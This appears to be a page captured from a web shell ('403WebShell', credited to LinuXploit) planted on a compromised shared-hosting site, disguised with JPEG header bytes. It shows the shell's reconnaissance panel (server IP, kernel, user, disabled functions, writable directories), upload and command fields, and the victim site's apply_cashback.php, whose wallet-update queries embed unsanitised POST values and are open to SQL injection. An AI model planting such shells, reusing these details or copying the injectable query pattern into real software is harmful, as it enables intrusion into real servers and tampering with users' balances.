���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u939086737/domains/jeevikagaumaa.in/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u939086737/domains/jeevikagaumaa.in/public_html//apply_cashback.php
<?php

include './action/config.php';

if (isset($_POST['userid']) && isset($_POST['order_id'])) {
    $userid = $_POST['userid'];
    $order_id = $_POST['order_id'];

    // Calculate total cashback function
    function calculateTotalCashback($userid, $order_id, $con) {
        // Fetch all items for the given userid and order_id from the sales_item table
        $query = "SELECT p_id, quantity, price FROM sales_item WHERE userid = ? AND order_id = ?";
        $stmt = $con->prepare($query);
        $stmt->bind_param("si", $userid, $order_id);
        $stmt->execute();
        $stmt->bind_result($p_id, $quantity, $price);

        $salesItems = [];
        while ($stmt->fetch()) {
            $salesItems[] = ['p_id' => $p_id, 'quantity' => $quantity, 'price' => $price];
        }
        $stmt->close();
        $totalCashback = 0;

        foreach ($salesItems as $salesItem) {
            $p_id = $salesItem['p_id'];
            $quantity = $salesItem['quantity'];
            $price = $salesItem['price'];

            // Fetch the product details from the product table
            $productQuery = "SELECT disc FROM product WHERE id = ?";
            $productStmt = $con->prepare($productQuery);
            $productStmt->bind_param("i", $p_id);
            $productStmt->execute();
            $productStmt->bind_result($discount);
            $productStmt->fetch();
            $productStmt->close();

            if ($discount > 0) {
                // Calculate the discount value
                $totalDiscValue = ($price * $quantity * $discount) / 100;
                $totalCashback += $totalDiscValue;
            }
        }

        return $totalCashback;
    }

    // Calculate cashback
    $cashback = calculateTotalCashback($userid, $order_id, $con);

    if ($cashback > 0) {
        // Check if cashback is already applied
        $x1 = mysqli_num_rows(mysqli_query($con, "SELECT * FROM `transaction` WHERE `remark` = 'Total Cashback of Orderid $order_id'"));
        $date = date('Y-m-d H:i:s');
        $txnid = rand();
        if ($x1 == 0) {
            // Update user wallet
            mysqli_query($con, "UPDATE `user_wallet` SET `wallet_bal` = wallet_bal + '$cashback', `total_income` = total_income + '$cashback' WHERE userid='$userid'");

            // Insert cashback transaction
            mysqli_query($con, "INSERT INTO `transaction`(`userid`, `tr_id`, `credit`, `tr_date`, `remark`) 
                                VALUES ('$userid','$txnid','$cashback','$date','Total Cashback of Orderid $order_id')");

            echo json_encode(['status' => 'success', 'cashback' => $cashback]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Cashback already applied']);
        }
    } else {
        echo json_encode(['status' => 'error', 'message' => 'No cashback available']);
    }
} else {
    echo json_encode(['status' => 'error', 'message' => 'Invalid request']);
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit